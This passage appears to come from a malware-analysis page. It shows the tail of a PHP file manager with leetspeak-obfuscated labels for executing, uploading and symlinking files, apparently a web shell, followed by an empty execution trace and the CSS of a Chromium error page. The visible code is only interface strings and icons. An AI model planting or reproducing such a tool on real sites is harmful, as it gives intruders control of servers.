                return array("directory" => "G0", "file" => "Fil3", "filename" => "Fil3 N4m3", "size" => "5ize", "permission" => "P3RM1sS10N", "owner" => "0wNEr", "group" => "gr0up", "other" => "0th3rs", "functions" => "FunC710n2", "read" => "rE4d", "write" => "Wr1t3", "execute" => "3X3CUTE", "create_symlink" => "cRe47E 5ymL1NK", "delete" => "d3L3T3", "rename" => "r3N4m3", "move" => "M0V3", "copy" => "C0PY", "edit" => "EDIT", "download" => "D0Wnl04D", "upload" => "uPL04d", "create" => "cR3AT3", "change" => "Ch4N93", "save" => "S4V3", "set" => "set", "reset" => "reset", "relative" => "Relative path to target", "yes" => "Yes", "no" => "No", "back" => "back", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "add", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" has been uploaded.", "not_uploaded" => "\"[%1]\" could not be uploaded.", "already_exists" => "\"[%1]\" already exists.", "created" => "\"[%1]\" has been created.", "not_created" => "\"[%1]\" could not be created.", "really_delete" => "Delete these files?", "deleted" => "These files have been deleted:\n[%1]", "not_deleted" => "These files could not be deleted:\n[%1]", "rename_file" => "Rename file:", "renamed" => "\"[%1]\" has been renamed to \"[%2]\".", "not_renamed" => "\"[%1] could not be renamed to \"[%2]\".", "move_files" => "Move these files:", "moved" => "These files have been moved to \"[%2]\":\n[%1]", "not_moved" => "These files could not be moved to \"[%2]\":\n[%1]", "copy_files" => "Copy these files:", "copied" => "These files have been copied to \"[%2]\":\n[%1]", "not_copied" => "These files could not be copied to \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" can not be edited.", "executed" => "\"[%1]\" has been executed successfully:\n{%2}", "not_executed" => "\"[%1]\" could not be executed successfully:\n{%2}", "saved" => "\"[%1]\" has been saved.", "not_saved" => "\"[%1]\" could not be saved.", "symlinked" => "Symlink from \"[%2]\" to \"[%1]\" has been created.", "not_symlinked" => "Symlink from \"[%2]\" to \"[%1]\" could not be created.", "permission_for" => "Permission of \"[%1]\":", "permission_set" => "Permission of \"[%1]\" was set to [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" can not be read.");
        }
    }
    function getimage($image)
    {
        switch ($image) {
            case 'file':
                return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
            case 'folder':
                return "GIF89a\x11\x00\r\x00\x91\x03\x00\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02*\x9c\x8f\x99\xc0\xac\x1bb\x04\xcf\xb4\x8b\x9d\x95\xbc\v:\x00\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\x19\xcf\xb4k\xb7a\x8e\x1e\xd9o(\x00\x00;\x00";
            case 'hidden_file':
                return "GIF89a\x11\x00\r\x00\x91\x03\x00\xcc\x00\x00\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\x04\x01\xe8\x03\x03\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02-\x9c\x81\x89\xc6\r\x01\xe3j\xec\x89+\xc2\x03\xf4D\x99t\x16\x86i\xe2\x87r\xd4Hf\xaa\x83~o\x15\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\x02\x00;\x00";
            case 'link':
                return "GIF89a\x11\x00\r\x00\xa2\x04\x00\x99\x99\x99\xff\xff\xff\x00\x00\x00\xcc\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00!\xf9\x04\x01\xe8\x03\x04\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x039H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\x04\xd8RYM8\r\x03\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\x05/[\xa7'\x01\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\x00\x00;\x00";
            case 'smiley':
                return "GIF89a\x11\x00\r\x00\x91\x02\x00\x00\x00\x00\xff\xff\x00\xff\xff\xff\x00\x00\x00!\xf9\x04\x01\xe8\x03\x02\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02,\x94\x8f\xa9\x02\xed\xb0\f\x08\xb3\xd25\x83\xde\x1a\xa6\x076_\xd5P\xa5x\x94\x1c\x87J\xe4vzi\x07wJf\xe22\x82\xb3\x11\x13\xfa\t\x0f\x05\x00;\x00";
            case 'arrow':
                return "GIF89a\x11\x00\r\x00\x80\x01\x00\x00\x00\x00\xff\xff\xff!\xf9\x04\x01\n\x00\x01\x00,\x00\x00\x00\x00\x11\x00\r\x00\x00\x02\x1d\x8c\x0fp\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\x18I\x88\x8d\xe6\x08\x9e\xa8\xb6\xb2\$\xc7\x14\x00;";
        }
    }
    function html_header()
    {
        global $site_charset;
        echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />


<style type="text/css">
body { font: small sans-serif; text-align: center background: #59E817 }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #59E817; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: #59E817 }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: green; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: green; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em; background: green }
.small, .small option { font-size: x-small }
textarea {border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817 }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>

</head>
<body>


END;
    }
    function html_footer()
    {
        echo "</body>\n</html>";
    }
    function notice($phrase)
    {
        global $cols;
        $args = func_get_args();
        array_shift($args);
        return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
    }
    function error($phrase)
    {
        global $cols;
        $args = func_get_args();
        array_shift($args);
        return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
    }
};
?>














</center>
</body>
</haed>
</html>
			













</center>
</body>
</haed>
</html>
			

Execution traces

data/traces/d3d2acc12f7cd84cad0f41cdba1ffbd9_trace-1676239021.5158.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:57:27.413621]
1	0	1	0.000138	393576
			0.000372	314264
TRACE END   [2023-02-12 19:57:27.413885]


Generated HTML code

<html dir="ltr" lang="en"><head>
  <meta charset="utf-8">
  <meta name="color-scheme" content="light dark">
  <meta name="theme-color" content="#fff">
  <meta name="viewport" content="width=device-width, initial-scale=1.0,
                                 maximum-scale=1.0, user-scalable=no">
  <title>localhost</title>
  <style>/* Copyright 2017 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

a {
  color: var(--link-color);
}

body {
  --background-color: #fff;
  --error-code-color: var(--google-gray-700);
  --google-blue-100: rgb(210, 227, 252);
  --google-blue-300: rgb(138, 180, 248);
  --google-blue-600: rgb(26, 115, 232);
  --google-blue-700: rgb(25, 103, 210);
  --google-gray-100: rgb(241, 243, 244);
  --google-gray-300: rgb(218, 220, 224);
  --google-gray-500: rgb(154, 160, 166);
  --google-gray-50: rgb(248, 249, 250);
  --google-gray-600: rgb(128, 134, 139);
  --google-gray-700: rgb(95, 99, 104);
  --google-gray-800: rgb(60, 64, 67);
  --google-gray-900: rgb(32, 33, 36);
  --heading-color: var(--google-gray-900);
  --link-color: rgb(88, 88, 88);
  --popup-container-background-color: rgba(0,0,0,.65);
  --primary-button-fill-color-active: var(--google-blue-700);
  --primary-button-fill-color: var(--google-blue-600);
  --primary-button-text-color: #fff;
  --quiet-background-color: rgb(247, 247, 247);
  --secondary-button-border-color: var(--google-gray-500);
  --secondary-button-fill-color: #fff;
  --secondary-button-hover-border-color: var(--google-gray-600);
  --secondary-button-hover-fill-color: var(--google-gray-50);
  --secondary-button-text-color: var(--google-gray-700);
  --small-link-color: var(--google-gray-700);
  --text-color: var(--google-gray-700);
  background: var(--background-color);
  color: var(--text-color);
  word-wrap: break-word;
}

.nav-wrapper .secondary-button {
  background: var(--secondary-button-fill-color);
  border: 1px solid var(--secondary-button-border-color);
  color: var(--secondary-button-text-color);
  float: none;
  margin: 0;
  padding: 8px 16px;
}

.hidden {
  display: none;
}

html {
  -webkit-text-size-adjust: 100%;
  font-size: 125%;
}

.icon {
  background-repeat: no-repeat;
  background-size: 100%;
}

@media (prefers-color-scheme: dark) {
  body {
    --background-color: var(--google-gray-900);
    --error-code-color: var(--google-gray-500);
    --heading-color: var(--google-gray-500);
    --link-color: var(--google-blue-300);
    --primary-button-fill-color-active: rgb(129, 162, 208);
    --primary-button-fill-color: var(--google-blue-300);
    --primary-button-text-color: var(--google-gray-900);
    --quiet-background-color: var(--background-color);
    --secondary-button-border-color: var(--google-gray-700);
    --secondary-button-fill-color: var(--google-gray-900);
    --secondary-button-hover-fill-color: rgb(48, 51, 57);
    --secondary-button-text-color: var(--google-blue-300);
    --small-link-color: var(--google-blue-300);
    --text-color: var(--google-gray-500);
  }
}
</style>
  <style>/* Copyright 2014 The Chromium Authors
   Use of this source code is governed by a BSD-style license that can be
   found in the LICENSE file. */

button {
  border: 0;
  border-radius: 4px;
  box-sizing: border-box;
  color: var(--primary-button-text-color);
  cursor: pointer;
  float: right;
  font-size: .875em;
  margin: 0;
  padding: 8px 16px;
  transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
  user-select: none;
}

[dir='rtl'] button {
  float: left;
}

.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
  background: var(--primary-button-fill-color);
}

button:active {
  background: var(--primary-button-fill-color-active);
  outline: 0;
}

#debugging {
  display: inline;
  overflow: auto;
}

.debugging-content {
  line-height: 1em;
  margin-bottom: 0;
  margin-top: 1em;
}

.debugging-content-fixed-width {
  display: block;
  font-family: monospace;
  font-size: 1.2em;
  margin-top: 0.5em;
}

.debugging-title {
  font-weight: bold;
}

#details {
  margin: 0 0 50px;
}

#details p:not(:first-of-type) {
  margin-top: 20px;
}

.secondary-button:active {
  border-color: white;
  box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
      0 2px 6px 2px rgba(60, 64, 67, .15);
}

.secondary-button:hover {
  background: var(--secondary-button-hover-fill-color);
  border-color: var(--secondary-button-hover-border-color);
  text-decoration: none;
}

.error-code {
  color: var(--error-code-color);
  font-size: .8em;
  margin-top: 12px;
  text-transform: uppercase;
}

#error-debugging-info {
  font-size: 0.8em;
}

h1 {
  color: var(--heading-color);
  font-size: 1.6em;
  font-weight: normal;
  line-height: 1.25em;
  margin-bottom: 16px;
}

h2 {
  font-size: 1.2em;
  font-weight: normal;
}

.icon {
  height: 72px;
  margin: 0 0 40px;
  width: 72px;
}

input[type=checkbox] {
  opacity: 0;
}

input[type=checkbox]:focus ~ .checkbox::after {
  outline: -webkit-focus-ring-color auto 5px;
}

.interstitial-wrapper {
  box-sizing: border-box;
  font-size: 1em;
  line-height: 1.6em;
  margin: 14vh auto 0;
  max-width: 600px;
  width: 100%;
}

#main-message > p {
  display: inline;
}

#extended-reporting-opt-in {
  font-size: .875em;
  margin-top: 32px;
}

#extended-reporting-opt-in label {
  display: grid;
  grid-template-columns: 1.8em 1fr;
  position: relative;
}

#enhanced-protection-message {
  border-radius: 4px;
  font-size: 1em;
  margin-top: 32px;
  padding: 10px 5px;
}

#enhanced-protection-message label {
  display: grid;
  grid-template-columns: 2.5em 1fr;
  position: relative;
}

#enhanced-protection-message div {
  margin: 0.5em;
}

#enhanced-protection-message .icon {
  height: 1.5em;
  vertical-align: middle;
  width: 1.5em;
}

.nav-wrapper {
  margin-top: 51px;
}

.nav-wrapper::after {
  clear: both;
  content: '';
  display: table;
  width: 100%;
}

.small-link {
  color: var(--small-link-color);
  font-size: .875em;
}

.checkboxes {
  flex: 0 0 24px;
}

.checkbox {
  --padding: .9em;
  background: transparent;
  display: block;
  height: 1em;
  left: -1em;
  padding-inline-start: var(--padding);
  position: absolute;
  right: 0;
  top: -.5em;
  width: 1em;
}

.checkbox::after {
  border: 1px solid white;
  border-radius: 2px;
  content: '';
  height: 1em;
  left: var(--padding);
  position: absolute;
  top: var(--padding);
  width: 1em;
}

.checkbox::before {
  background: transparent;
  border: 2px solid white;
  border-inline-end-width: 0;
  border-top-width: 0;
  content: '';
  height: .2em;
  left: calc(.3em + var(--padding));
  opacity: 0;
  position: absolute;
  top: calc(.3em  + var(--padding));
  transform: rotate(-45deg);
  width: .5em;
}

input[type=checkbox]:checked ~ .checkbox::before {
  opacity: 1;
}

#recurrent-error-message {
  background: #ededed;
  border-radius: 4px;
  margin-bottom: 16px;
  margin-top: 12px;
  padding: 12px 16px;
}

.showing-recurrent-error-message #extended-reporting-opt-in {
  margin-top: 16px;
}

.showing-recurrent-error-message #enhanced-protection-message {
  margin-top: 16px;
}

@media (max-width: 700px) {
  .interstitial-wrapper {
    padding: 0 10%;
  }

  #error-debugging-info {
    overflow: auto;
  }
}

@media (max-width: 420px) {
  button,
  [dir='rtl'] button,
  .small-link {
    float: none;
    font-size: .825em;
    font-weight: 500;
    margin: 0;
    width: 100%;
  }

  button {
    padding: 16px 24px;
  }

  #details {
    margin: 20px 0 20px 0;
  }

  #details p:not(:first-of-type) {
    margin-top: 10px;
  }

  .secondary-button:not(.hidden) {
    display: block;
    margin-top: 20px;
    text-align: center;
    width: 100%;
  }

  .interstitial-wrapper {
    padding: 0 5%;
  }

  #extended-reporting-opt-in {
    margin-top: 24px;
  }

  #enhanced-protection-message {
    margin-top: 24px;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

/**
 * Mobile specific styling.
 * Navigation buttons are anchored to the bottom of the screen.
 * Details message replaces the top content in its own scrollable area.
 */

@media (max-width: 420px) {
  .nav-wrapper .secondary-button {
    border: 0;
    margin: 16px 0 0;
    margin-inline-end: 0;
    padding-bottom: 16px;
    padding-top: 16px;
  }
}

/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
       (min-height: 401px),
       (min-width: 421px) and (min-height: 240px) and
       (max-height: 560px) {
  body .nav-wrapper {
    background: var(--background-color);
    bottom: 0;
    box-shadow: 0 -12px 24px var(--background-color);
    left: 0;
    margin: 0 auto;
    max-width: 736px;
    padding-inline-end: 24px;
    padding-inline-start: 24px;
    position: fixed;
    right: 0;
    width: 100%;
    z-index: 2;
  }

  .interstitial-wrapper {
    max-width: 736px;
  }

  #details,
  #main-content {
    padding-bottom: 40px;
  }

  #details {
    padding-top: 5.5vh;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  body {
    margin: 0 auto;
  }

  button,
  [dir='rtl'] button,
  button.small-link,
  .nav-wrapper .secondary-button {
    font-family: Roboto-Regular,Helvetica;
    font-size: .933em;
    margin: 6px 0;
    transform: translatez(0);
  }

  .nav-wrapper {
    box-sizing: border-box;
    padding-bottom: 8px;
    width: 100%;
  }

  #details {
    box-sizing: border-box;
    height: auto;
    margin: 0;
    opacity: 1;
    transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  #details.hidden,
  #main-content.hidden {
    height: 0;
    opacity: 0;
    overflow: hidden;
    padding-bottom: 0;
    transition: none;
  }

  h1 {
    font-size: 1.5em;
    margin-bottom: 8px;
  }

  .icon {
    margin-bottom: 5.69vh;
  }

  .interstitial-wrapper {
    box-sizing: border-box;
    margin: 7vh auto 12px;
    padding: 0 24px;
    position: relative;
  }

  .interstitial-wrapper p {
    font-size: .95em;
    line-height: 1.61em;
    margin-top: 8px;
  }

  #main-content {
    margin: 0;
    transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  .small-link {
    border: 0;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
    margin: 0;
  }
}

@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

@media (min-height: 400px) and (orientation:portrait) {
  .interstitial-wrapper {
    margin-bottom: 145px;
  }
}

@media (min-height: 299px) {
  .nav-wrapper {
    padding-bottom: 16px;
  }
}

@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
  .extended-reporting-has-checkbox #details {
    padding-bottom: 80px;
  }
}

@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
       (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 7vh;
  }
}

@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
       (max-height: 239px) and (orientation: landscape),
       (max-width: 419px) and (max-height: 399px) {
  .interstitial-wrapper {
    display: flex;
    flex-direction: column;
    margin-bottom: 0;
  }

  #details {
    flex: 1 1 auto;
    order: 0;
  }

  #main-content {
    flex: 1 1 auto;
    order: 0;
  }

  .nav-wrapper {
    flex: 0 1 auto;
    margin-top: 8px;
    order: 1;
    padding-inline-end: 0;
    padding-inline-start: 0;
    position: relative;
    width: 100%;
  }

  button,
  .nav-wrapper .secondary-button {
    padding: 16px 24px;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 239px) and (orientation: portrait) {
  .nav-wrapper {
    padding-inline-end: 0;
    padding-inline-start: 0;
  }
}
</style>
  <style>/* Copyright 2013 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
  display: none;
}

/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
  display: none;
}

h1 {
  margin-top: 0;
  word-wrap: break-word;
}

h1 span {
  font-weight: 500;
}

a {
  text-decoration: none;
}

.icon {
  -webkit-user-select: none;
  display: inline-block;
}

.icon-generic {
  /* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
   * renderer process, so embed the resource manually. */
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}

.icon-offline {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
  position: relative;
}

.icon-disabled {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
  width: 112px;
}

.hidden {
  display: none;
}

#suggestions-list a {
  color: var(--google-blue-600);
}

#suggestions-list p {
  margin-block-end: 0;
}

#suggestions-list ul {
  margin-top: 0;
}

.single-suggestion {
  list-style-type: none;
  padding-inline-start: 0;
}

#error-information-button {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
  height: 24px;
  vertical-align: -.15em;
  width: 24px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup {
  align-items: center;
  background-color: var(--popup-container-background-color);
  display: flex;
  height: 100%;
  left: 0;
  position: fixed;
  top: 0;
  width: 100%;
  z-index: 100;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-content > p {
  margin-bottom: 11px;
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list ul {
  margin-inline-start: 15px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-box {
  background-color: var(--background-color);
  left: 5%;
  padding-bottom: 15px;
  padding-top: 15px;
  position: fixed;
  width: 90%;
  z-index: 101;
}

.use-popup-container#error-information-popup-container div.error-code {
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list p {
  margin-inline-start: 20px;
}

:not(.use-popup-container)#error-information-popup-container
  #error-information-popup-close {
  display: none;
}

#error-information-popup-close {
  margin-bottom: 0;
  margin-inline-end: 35px;
  margin-top: 15px;
  text-align: end;
}

.link-button {
  color: rgb(66, 133, 244);
  display: inline-block;
  font-weight: bold;
  text-transform: uppercase;
}

#sub-frame-error-details {

  color: #8F8F8F;

  /* Not done on mobile for performance reasons. */
  text-shadow: 0 1px 0 rgba(255,255,255,0.3);

}

[jscontent=hostName],
[jscontent=failedUrl] {
  overflow-wrap: break-word;
}

.secondary-button {
  background: #d9d9d9;
  color: #696969;
  margin-inline-end: 16px;
}

.snackbar {
  background: #323232;
  border-radius: 2px;
  bottom: 24px;
  box-sizing: border-box;
  color: #fff;
  font-size: .87em;
  left: 24px;
  max-width: 568px;
  min-width: 288px;
  opacity: 0;
  padding: 16px 24px 12px;
  position: fixed;
  transform: translateY(90px);
  will-change: opacity, transform;
  z-index: 999;
}

.snackbar-show {
  -webkit-animation:
    show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
    hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}

@-webkit-keyframes show-snackbar {
  100% {
    opacity: 1;
    transform: translateY(0);
  }
}

@-webkit-keyframes hide-snackbar {
  0% {
    opacity: 1;
    transform: translateY(0);
  }
  100% {
    opacity: 0;
    transform: translateY(90px);
  }
}

.suggestions {
  margin-top: 18px;
}

.suggestion-header {
  font-weight: bold;
  margin-bottom: 4px;
}

.suggestion-body {
  color: #777;
}

/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
  h1 {
    margin: 0 0 15px;
  }
  .suggestions {
    margin-top: 10px;
  }
  .suggestion-header {
    margin-bottom: 0;
  }
}

#download-link,
#download-link-clicked {
  margin-bottom: 30px;
  margin-top: 30px;
}

#download-link-clicked {
  color: #BBB;
}

#download-link::before,
#download-link-clicked::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

#download-link-clicked::before {
  opacity: 0;
  width: 0;
}

#offline-content-list-visibility-card {
  border: 1px solid white;
  border-radius: 8px;
  display: flex;
  font-size: .8em;
  justify-content: space-between;
  line-height: 1;
}

#offline-content-list.list-hidden #offline-content-list-visibility-card {
  border-color: rgb(218, 220, 224);
}

#offline-content-list-visibility-card > div {
  padding: 1em;
}

#offline-content-list-title {
  color: var(--google-gray-700);
}

#offline-content-list-show-text,
#offline-content-list-hide-text {
  color: rgb(66, 133, 244);
}

